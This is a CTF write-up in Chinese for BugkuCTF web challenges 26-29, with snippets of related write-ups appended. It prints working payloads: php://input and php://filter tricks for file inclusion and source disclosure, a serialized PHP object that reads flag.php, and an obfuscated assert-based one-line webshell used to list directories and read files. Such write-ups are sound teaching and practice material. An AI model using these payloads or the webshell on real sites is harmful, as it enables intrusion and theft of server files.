bugkuCTF Writeup (Web)26-29
never give up
看原始碼,有提示<!--1p.html-->
去看1p.html的原始碼
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
Words變數的值先url解碼,再base64解碼,再url解碼,得
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET ['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print " never never never give up !!!";
}
?>
繞過:payload:http://120.24.86.145:8006/test/hello.php?id=0sdvdsd&a=php://input&b=.sdfasdfsdafsdfrdfgsdgasdftgssd
postdata:bugku is a nice plateform!
得flag:
welcome to bugkuctf
檢視網頁原始碼,發現是php程式碼審計
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
檔案包含漏洞,要用include函式看hint.php的內容
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password
postdata帶上welcome to the bugkuctf
提交,顯示了這個
似乎還是一樣的,那就看index.php吧
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=index.php&password
postdata帶上welcome to the bugkuctf
提交,得無數個hello friend
不明所以,繼續去看flag.php,發現作者很狡猾
看來不能讓hint.php執行
所以payload:http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter//read=convert.base64-encode/resource=./hint.php&password=
postdata帶上welcome to the bugkuctf
獲得hint.php原始碼的base64編碼,解碼得:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
再去看index.php原始碼(不讓它執行)
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "\xe4\xb8\x8d\xe8\x83\xbd\xe7\x8e\xb0\xe5\x9c\xa8\xe5\xb0\xb1\xe7\xbb\x99\xe4\xbd\xa0flag\xe5\x93\xa6";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
這就好辦了,傳入引數password,要傳入一個Flag類物件的序列化值,當然file屬性是”flag.php”了
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
postdata帶上welcome to the bugkuctf
,獲得flag
login1
這個一直沒開啟,就先跳過去了
過狗一句話
題目提示裡的php程式碼拿下來
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
用assert執行任意程式碼
這就很自由了
payload:http://120.24.86.145:8010/?s=print_r(scandir('./'));
掃描目錄
然後讀取flag.txt
payload:http://120.24.86.145:8010/?s=print_r(file_get_contents('flag.txt'));
相關推薦
bugkuCTF Writeup (Web)26-29
never give up 看原始碼,有提示<!--1p.html--> 去看1p.html的原始碼 <HTML> <HEAD> <SCRIPT LANGUAGE="Javascript"> <!
bugkuCTF Writeup (Web)10-14
SQL注入1 程式碼審計 先過濾sql關鍵字,再過濾xss(實際上就是刪除一些html標籤),這個順序就很好辦了,把HTML標籤插到sql關鍵字裡面,就繞過了第一個過濾,第二個過濾之後就還原
bugkuCTF Writeup (Web)31-35
各種繞過喲 程式碼審計 <?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';
bugkuCTF Writeup (Web)41-44
這是一個神奇的登陸框 登陸框注入 之前注入的分隔符都用的是單引號‘,這道題特立獨行用的是雙引號。 又發現有報錯的回顯,於是報錯注入: 一開始使用的updatexml和extractval
Bugku writeup(web篇)6【域名解析】
【域名解析】 域名解析需要修改本機的hosts檔案,我們可以通過linux來完成題目 通過管理員許可權,開啟hosts檔案 如圖,將域名和ip新增至hosts檔案。 然後直接訪問flag.bugku.com即可得到flag值
軟件工程概論課堂測試一————添加新課程(web)
.get submit use dex sub ava getclass .com title 設計思想 三個文件Class_add.java add.jsp addInput.jsp Class_add.java : 內封裝方法:連接數據庫、向數據庫添加課程信息、判斷
Linux APache (web)安裝
Linux APache web httpd 一,Apache簡介 “Apache HTTP Server”是開源軟件項目的傑出代表,基於標準的HTTP網絡協議提供網頁瀏覽服務,在Web服務器領域中長期保持著超過半數的份額。Apache服務器可以運行在Linux,UNIX,Windows
linux應用與安(web)
linux運維web服務器1、卸載原來已經存在的httpd2、插入光盤:Benet 5.0所需軟件\linux安全及高級應用\rhel-server-6.5-x86_64-dvd.iso3、源碼編譯安裝httpd,下圖為: 1)解包 2)配置4、編譯和安裝下圖為安裝編譯和安裝過程中的狀態,這裏將會等待幾
獲取JAVA(WEB)專案路徑的方法
最近的專案涉及了檔案上傳的功能,不可避免的需要獲得檔案路徑的方法。 下面是關於獲取檔案路徑的一些方法。 對於獲取檔案路徑,在Jsp,Servlet,Java中,有不同的方法。 在java類中: 獲取當前的classpath的絕對URI路徑
如何用ESP8266實現網頁配置(web)
準備工作 準備一個深圳四博智聯科技有限公司的ESP-F 模組。或者四博智聯科技的NODEMCU 當我們拿到ESP-F模組後,可以按照以下接線進行測試: 即 VCC、EN 接 3.3v、GPIO15 GND 接地
中小型公司節目控制功能元件開發(WEB)
1. 專案需求: (1)按照IOS已上架應用Skylander IPAD版本功能對應開發功能一樣的WEB版 (2)核心功能:節目編輯、節目控制 2. IOS專案部分預覽圖: 3.當前開發頁面為節目控制頁面: (1)需要開發頁面:節目控制頁
JasperReport學習筆記4-查詢資料庫生成動態的報表(WEB)
分兩種方法 第一種 1.模版 Xml程式碼 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE jasperReport PUBLIC "//Jaspe
bugku misc writeup(部分)
題目給了一個stego100.wav(音訊檔案),然後Audacity開啟,一共有兩欄,上面那一欄有一些不規則的小段,把這些小段放大,每一個小段都是有寬窄相間的小段組成,把寬的想象成—,窄的想象成".",然後你就會發現這是摩斯電碼(..... -... -.-. ----. ..--- ..... -
CTF考核writeup(1)
在sql注入、檔案上傳和檔案包含問題上,可以學到一些新思路。 sql注入 觀察題目連結,很明顯,存在注入的是id。於是利用sqlmap驗證,但sqlmap的結果卻是“not injectble”: 注意到連結中id值是‘MQ==’。明顯引數是經過base6
JasperReport學習筆記5-其它資料生成動態的報表(WEB)
1.空資料(Empty Datasources) 就是說JRXML檔案裡面的內容都是靜態的,直接使用 JREmptyDataSource就行了 Java程式碼 JasperRunManager.runReportToPdfStre
關於Unity開啟網頁問題(Web)
對於PC端而言,開啟只需要Application.OpenURL(pathURL);(pathURL為網址),但若釋出為Web版本,則該方法並不適用。 便可以用Application.ExternalEval("window.open('http://math.xpu.ow
Windows server 2016 搭建IIS(web)服務
聯系方式 網上 web服務器 微信 1.5 RoCE server 通過 mark 今天跟大家簡單介紹一下如何在Windows server 2016服務器上搭建IIS(web)服務。web服務即www服務(萬維網服務),是指在網上發布,並可以通過瀏覽器觀看圖形化頁面的服務
強網杯ctf pwn&re writeup (部分)
打了2天的強網杯,雖然一度衝進了前10。可惜最後的時候還是掉出了20名。最後只能無奈打出GG。其中的原因有很多,也不想多說了。 逆向溢位題3連發。我就只會那麼多了Orz 先來一道re200 kergen 傳送24位的字串,主要是400B56處的檢
Bugku——成績單(web)
可以大概判斷出有四個欄位 直接上payload -1' union select 1,2,3,database()# -1' union select 1,2,3,group_concat(
CTF——南郵攻防平臺(web)
一、簽到題 火狐瀏覽器中開啟頁面,F12開啟開發人員工具檢視網頁原始碼,發現flag: 二、md5 collision 題目所給的php原始碼如下: <?php $md51 = md5('QNKCDZO'); $a = @$_GET['